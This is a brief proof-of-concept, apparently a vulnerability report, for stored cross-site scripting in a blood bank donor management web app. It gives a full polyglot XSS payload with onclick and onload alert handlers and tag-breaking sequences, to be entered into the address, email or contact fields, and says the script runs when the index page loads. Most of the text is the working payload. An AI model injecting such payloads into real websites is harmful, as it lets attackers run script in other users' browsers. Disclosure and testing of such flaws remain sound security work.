Change “Adress” or “ Email id “ or “ Contact Number” inputs and add /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e payload.
Go to http://bbdms.local/inedx.php page and XSS will be triggered.